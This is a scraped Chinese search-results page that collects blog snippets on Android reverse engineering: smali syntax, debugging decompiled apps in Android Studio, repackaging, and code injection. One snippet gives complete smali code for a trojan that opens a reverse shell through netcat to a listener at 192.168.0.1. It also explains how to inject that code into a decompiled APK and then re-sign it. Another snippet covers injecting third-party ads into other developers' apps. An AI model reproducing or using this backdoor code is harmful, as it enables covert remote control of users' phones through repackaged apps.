精华内容
下载资源
问答
  • 安卓smali编写

    2020-12-07 14:01:17
    #头 .class public Lworld/eworld/estr; #类声明 #可加 L字符串,当前类所在的路径 .super Ljava/lang/Object; #父类声明/默认是Object #返回静态field方法 .field public static final eStr:Ljava/lang/...
    #头
    	.class public Lworld/eworld/estr;	#类声明
    			#可加	L字符串,当前类所在的路径
    	.super Ljava/lang/Object;			#父类声明/默认是Object
    
    #返回静态field方法
    	.field public static final eStr:Ljava/lang/String; = "Beat work everyday"
    		#   共有   静态   不可修改
    		#field声明与初始化
    		
    #普通函数需要初始化
    	.method public bain<init>()V
    	#p0-->this
    	.locals 0
    	invoke-direct {}, Ljava/lang/Object;-><init>V
    	return-void	
    	.end method
    	
    	#普通函数
    	.method public bwork3()Ljava/lang/String;
    	.locals 1
    	const-string v0, "Beat work everyday for man"
    	result-object v0
    	.end method
    	
    #函数声明
    	.method public static bwork()Ljava/lang/String;
    			#函数方法声明----共有 静态 函数名(描述) 返回值及类型
    	.locals 4	#数字本地寄存器数量,以V0开始,V..
    	const-string v0, "Beat work everyday"
    	return-object v0
    		#返回寄存器对象	
    	.end method
    	
    #获取field
    	.method public static bwork2()Ljava/lang/String;
    	.locals 1  #寄存器数量声明
    	sget-object v0,Lworld/eworld/estr;->eStr:Ljava/lang/String
    						#路径				类型
    	return-object v0
    	.end method
    	
    ------------------------------
    #调用静态方法
    	invoke-static {},Lworld/eworld/estr;->bwork()Ljava/lang/String;
    						#类所在路径          其下方法及返回值和类型
    	move-result-object v0
    		#对调用方法返回值进行重新赋值
    
    #调用普通方法
    	new-instance v0,Lworld/eworld/estr;
    	invoke-direct {v0},Lworld/eworld/estr;-><init>()V
    	invoke-virtual {v0},Lworld/eworld/estr;->bwork3()Ljava/lang/String;
    	move-result-object v0
    	
    ----------------------------------
    #Android log
    	包源adnroid/util/Log
    	invoke-static{v0,v1},Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
    #函数跟踪
    	invoke-static {},Landroid/os/Debug;->startMethodTracing()V
    	invoke-static {},Landroid/os/Debug;->stopMethodTracing()V
    	#添加权限
    		<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    		<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    #字符串handle
    	#新建
    	const-string v1, "%d"
    	#字符格式化
    	const-string v1,"%d"	#描述
    	const/4 v2, 0x1			#数组长度
    	new-array v2, v2,[Ljava/lang/Object;	#创建object数组,[数组
    	aput-object v3,v2,v4	#填充数组
    	...
    	invoke-static {v1,v2},Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object)Ljava/lang/String;		#格式化字符串
    	#字符串替换
    	invoke-virtual {v0,v1,v2},Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
    	invoke-virtual{v0,v1,v2},Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
    #waitForDebugger
    	invoke-static {},Landroid/os/Debug;->waitForDebugger()V
    
    
    
    
    展开全文
  • 最近在研究安卓逆向,刚开始接触,...今天首先讲一下 安卓动态调试smali代码(需要smalidea插件的哦,没有插件调试不了) 1,首先用 Androidkiller 反编译出项目源码,可以导入到桌面方便找 2 ,需要下载Android s...

    最近在研究安卓逆向,刚开始接触,有需要脱壳的可以找我。QQ 657589436 安卓需要很多的反编译工具 jEb,jadx_gui,androidkiller,Android stodio等。今天首先讲一下 安卓动态调试smali代码(需要smalidea插件的哦,没有插件调试不了)

    1,首先用 Androidkiller 反编译出项目源码,可以导入到桌面方便找
    在这里插入图片描述
    2 ,需要下载Android stodio, import 导入你的项目(就是你反编译好的Project)
    在这里插入图片描述
    3,选中项目包名 获取该项目的root权限和一些配置
    在这里插入图片描述
    默认是空的 需要手动去选择你的jdk,别的都不需要修改的
    在这里插入图片描述
    下图标注的是需要修改的地方,端口号最好是8700
    在这里插入图片描述
    4 ,adb shell ps 获取模拟器软件进程pid
    在这里插入图片描述
    在这里插入图片描述
    然后从新打开一个新的cmd窗口输入:adb forward tcp:8700 jdwp:3041 (3041是进程id)直接回城如下图
    在这里插入图片描述
    上面的配置完了在Android stodio中,点击debugger (如下图)出现 socket就可以下断点动态调试了。
    在这里插入图片描述

    展开全文
  • 安卓APK smali源码中植入木马反弹SHELL的测试代码【请勿用于非法目的,切记!】在安卓应用程序中植入木马已经不是什么新鲜事情,下面给出一个demo 反弹shell的一个smali源码,可以直接插入到目标应用的smali源码中...

    向安卓APK smali源码中植入木马反弹SHELL的测试代码【请勿用于非法目的,切记!】

    在安卓应用程序中植入木马已经不是什么新鲜事情,下面给出一个demo 反弹shell的一个smali源码,可以直接插入到目标应用的smali源码中,其中第一部分为函数体。注意修改其中的.line 行号。建议插入到一个smali文件的末尾,这样行号只要顺着原smali文件的行号增大即可。

    然后使用第二部分的源码进行调用。

    # virtual methods

    .method public getshell()V

    .registers 8

    .prologue

    .line 28

    invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;

    move-result-object v1

    .line 31

    .local v1, rt:Ljava/lang/Runtime;

    :try_start_4

    sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;

    const-string v3, “NC IS OK!!!!”

    invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V

    .line 34

    sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;

    invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;

    move-result-object v3

    const/4 v4, 0×3

    new-array v4, v4, [Ljava/lang/String;

    const/4 v5, 0×0

    const-string v6, “/system/bin/sh”

    aput-object v6, v4, v5

    const/4 v5, 0×1

    const-string v6, “-c”

    aput-object v6, v4, v5

    const/4 v5, 0×2

    const-string v6, “nc 192.168.0.1 8088|/system/bin/sh|nc 192.168.0.1 9999″

    aput-object v6, v4, v5

    invoke-virtual {v3, v4}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;

    move-result-object v3

    invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/Object;)V

    :try_end_2a

    .catch Ljava/io/IOException; {:try_start_4 .. :try_end_2a} :catch_2b

    .line 41

    :goto_2a

    return-void

    .line 37

    :catch_2b

    move-exception v0

    .line 39

    .local v0, e:Ljava/io/IOException;

    invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V

    goto :goto_2a

    .end method

    此处为调用代码,注入插入到一个smali源码程序后就要修改下面的Lcom/example/test/MainActivity为响应的包名和类名,可以参考当前被修改的smali文件上下文进行修改,修改成功后保存并重新打包签名,然后在手机上运行即可。

    1

    invoke-virtual {p0}, Lcom/example/test/MainActivity;->getshell()V

    这个程序会在控制台logcat显示NC IS OK!!的信息方便调试。注意设备需要有装过NC,不过这里有个悖论诶,没有root的设备很少有自带NC的,而root后的设备有很多不装busybox的,也没有NC。所以呢。。具体可用价值,大家自己衡量吧~~

    展开全文
  • 安卓逆向与smali

    2020-03-12 18:12:49
    一段时间的研究下来,对安卓的整个逆向过程除了加固和一些独特的混淆外基本有个认识。这段时间算是真正的从认识到尝试去了解smali,包括期间有想为逆向开发一个从smali2java,java2smali的可视化实时工具,不过意识...

     

    一段时间的研究下来,对安卓的整个逆向过程除了加固和一些独特的混淆外基本有个认识。这段时间算是真正的从认识到尝试去了解smali,包括期间有想为逆向开发一个从smali2java,java2smali的可视化实时工具,不过意识到时间问题,还是暂时先放弃。不过也出了自己的第一款个人软件,lexgetapp,算是逆向的第一个跨步,后期会继续为它增加一些功能,来帮助自身做安全,逆行的一些工作,让工作更加顺利。

    我这里基本对工具进行一些收集和记录
    逆向工具集合]
    android killer
    apktool
    apkaid


    smali查看与分析]
    jadx
    smali2java-gui

    其实整个从逆向到注入自己的代码过程非常的明晰。
    1,反编目标工程
    2,编写自己的工程,尽量只留下一个程序入口,把任务都设置在某个intent,或是某个异步操作。
    3,使用某些工具获取注入目标。
    4,在注入目标插入自己工程的调起语句。

    说起来很简单,可实际会遇到很多问题,做一些简单说明。
    1,阅读问题
    smali语句的可读性不是很好,所以需要jadx辅助查看去理解源代码的一些操作与逻辑或者进行smali的语法学习。

    2,代码插入问题
    其实直接复制包很容易产生很多毛病,比如65535个函数超限的问题,就需要新建smali_classes2文件夹来解决问题。

    3,资源问题
    我自己的工程,我会尽量使用代码来创建图形和界面,就是为了避免资源id冲突问题,每一个安卓R资源的引入和定义都会出现在string.xml以16进制留存,不可重复,不同种资源必须放在不同位置。甚至不同系统版本对于某些资源的引用都会产生问题。

    最后,其实整个东西都很简单,但是为了避免记不住还是做了这个记录。

    展开全文
  • 静态分析安卓程序-Smali格式 B.Smali文件格式Smali文件的头3行描述了当前类的一些信息,格式如下:.class <访问权限>[修饰关键字] <类名> .super <父类名> .source <源文件名>第一行指定了当前类的类名 第二行...
  • 安卓逆向语言smali学习笔记
  • 这是smali2java下载,本人自己写的将smali反编译为java代码的工具,支持apk和jar包直接反编译为java代码,适用于java代码未经编译优化,保留了源码行数和变量名称的情况。软件介绍smali2java是将Android字节码用可...
  • 安卓逆向之smali语法

    2016-05-08 10:14:36
    安卓逆向之smali语法 安卓逆向之入门篇 安卓逆向之工具篇 欢迎讨论学习,请关注我的个人网站 www.tasfa.cn
  • 基本简介smali是将Android字节码用可阅读的字符串形式表现出来的一种语言,可以称之为Android字节码的反汇编语言。使用baksmali或apktool可以将Android应用程序包(apk或jar)反编译为smali代码。smali2java的特色...
  • 今天分享一下smali基本语法,也是安卓逆向技术经常用到的语法,希望对大家有所帮助!.field private isFlag:z 定义变量.method 方法.parameter 方法参数.prologue 方法开始.line 12 此方法位于第12行invoke-...
  • 2、把需要调试的apk反编译,之后把smali文件copy出来改名字 3、 cmd命令行 切换到 android sdk 的 platform-tools 目录,即adb所在的目录,执行命令(以调试模式开启)   adb shell am start -D -n 应用包名/...
  • package com.yunshouhu.smali; import android.app.AlertDialog; import android.content.Context; import android.util.Log;...//打造自己的安卓crack.smali利器,打包为apk后反编译获取smali即可。 public
  • 最近搞安卓开发,学会了一项新技能-反编译。smali让我很好奇。自己给自己梳理一下,慢慢填充内容。 1.什么是smali? smali文件可以认为是Davilk的字节码文件 将APP反编译后,得到smali代码,修改这些smali代码并...
  • smali2java 安卓反编译

    2018-11-07 10:16:27
    smali2java是一个将smali代码反编译成java代码的工具。smali2java工具基于apktool v1.5.0(baksmali v1.3.4)生成的smali文件,依赖于smali文件中的代码行数(.line关键字)和变量别名(.local关键字)等信息,可以...
  • const/4 v1, 0x0 const/4 v5, 0x5 new-array v3, v5, [I ...//v4 is value from scannner.nextInt() get aput v4, v3, v1 //v1 is the index of array,'aput' puts v4 into v3[v1] ...smali语法参考网址: 点击打开链接
  • 2、apk在安卓模拟器安装 3、AndroidKiller将apk反编译(apk直接拖进Androidkiller即可) 4、idea打开Androidkiller反编译以后的项目源码 5、命令行打开ddms工具(Android-SDK自带工具) 6、idea远程调试配置 ...
  • 安卓逆向--修改smali

    2019-07-26 16:09:50
    这里只是做一个嵌入smali的测试,嵌入的东西很简单,只想在所有的activity里面弹出一段提示。 源码: Toast.makeText(this, "----", Toast.LENGTH_LONG).show(); 大致步骤: 1、解压目标apk,查看smali...
  • 开始3.1smali代码基础知识普及3.2apktool的基本使用3.3构建个人Log类并且反编译成Smali文件注入到某电商App中3.4重编译修改后的App项目,安装到模拟器中运行并使用注入的代码打印日志总结 1.背景分析 在安卓逆向的...
  • 如果朋友们有想投稿的内容也可以联系我,在公众号里有投稿字样!点击上方蓝字 关注我哦01什么是Smalismali语言是Davlik的寄存器语言,语法上和汇编语言相似,...因为安卓软件编译后,就得不到源代码了,我们只可...
  • 安卓逆向之常用smali语句函数

    千次阅读 2018-07-17 09:54:24
    常用分析工具工具: 1.AndroidKiller (需...常用基础的smali语句函数有: Const 赋值 return-void返回空 Goto 跳转 Cond 分支 判断语句:   if-eq 等于 if-ne 不等于 if-lt 小于 f-ge 大于等于 if-gt...
  • 安卓逆向笔记–java、smali对照表 一、数据类型         B—byte C—char D—double F—float I—int S—short V—void J—long Z—boolean      ...
  • 如果朋友们有想投稿的内容也可以联系我,在公众号里有投稿字样!点击上方蓝字 关注我哦01什么是Smalismali语言是Davlik的寄存器语言,语法上和汇编语言相似,...因为安卓软件编译后,就得不到源代码了,我们只可...
  • 安卓逆向】动态调试smali代码

    千次阅读 2021-02-20 21:36:49
    原文链接:教我兄弟学Android逆向04 动态调试smali代码 下载并使用adb安装 apk链接:https://pan.baidu.com/s/1smNIrST 密码:uzsa 下载完成后,使用adb进行安装 adb install jwx02.apk 安装完成后,在所有应用中...
  • 安卓反编译smali代码注入第三方广告

    千次阅读 2015-10-17 15:04:17
    最近研究了下反编译smali代码注入 实现自己的功能  简单的注入Toast log代码 比较简单 网上都是 但是没有找到加入第三方广告sdk的例子 下面就以hao123广告注入说下自己的经验 其实规律很简单 hao123广告 需要的代码...
  • 安卓修改大师可以在没有源代码的情况下,直接反编译已经打包的APK安装包,通过修改SMALI代码实现添加和去除部分功能,并在应用的任何地方添加任意代码,增加任意任何您想实现的功能。通过这种方式,把该应用变为您...
  • 反编译安卓APK都会生成一个smali文件,本篇文章为smali文件的语法(即Dalvik指令)速查手册,速速收藏备忘。0.类型Dalvik指令中的类型和java的对应关系如下:语法Java类型Vvoid,只用于返回值类型...
  • Smali安卓 Apk 反编译出来的格式,类似于我们 PC 上面的汇编语言。语法可以参考这个文章:https://blog.csdn.net/yuanguozheng...

空空如也

空空如也

1 2 3 4 5 ... 17
收藏数 330
精华内容 132
关键字:

安卓smali